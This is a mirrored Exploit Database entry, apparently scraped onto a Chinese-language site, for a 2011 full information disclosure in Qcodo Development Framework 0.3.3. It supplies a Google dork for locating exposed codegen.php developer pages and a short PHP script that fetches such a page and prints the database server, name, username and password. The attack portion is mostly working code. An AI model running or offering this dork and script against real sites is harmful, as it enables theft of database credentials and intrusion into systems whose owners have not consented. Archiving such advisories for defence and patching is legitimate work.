Qcodo Development Framework 0.3.3 – Full Information Disclosure

• Exploit Database
• 109 阅读

• 作者： Daniel Godoy
  日期： 2011-02-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16116/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  # Exploit Title: Qcodo Development Framework 0.3.3 Full Info Disclosure # Google Dork: allintext: /qcodo/_devtools/codegen.php # Date: 5/02/2011 # Author: Daniel Godoy # Author Mail: DanielGodoy[at]GobiernoFederal[dot]com # Author Web: www.delincuentedigital.com.ar # Software Link: http://www.qcodo.com/ # Version: All # Tested on: Linux   [Comment] Agradezco a mis amigos: Hernan Jais, Alfonso Cuevas, Lisandro Lezaeta, Nicolas Montanaro, Luciano Laporta Podazza,Oscar Guerrero,Lucas Chavez,Inyexion, Login-Root, KikoArg, Ricota, Xarnuz, Truenex, TsunamiBoom, _tty0, Big, Sunplace, Killerboy,Erick Jordan,Animacco, yojota, Pablin77, SPEED, Knet, Cereal, Yago, Rash, MagnoBalt, El Rodrix, l0ve, her0   [Qcodo Exploit]   <?php $sitio = &apos;http://locahost/qcodo/&apos;; $source = file_get_contents($sitio); $explodeo = explode("array",$source); $explodeo2= explode("&apos;",$explodeo[1]); echo "server: $explodeo2[7]"; echo "<br>database: $explodeo2[13]"; echo "<br>username: $explodeo2[17]"; echo "<br>password: $explodeo2[21]";   ?>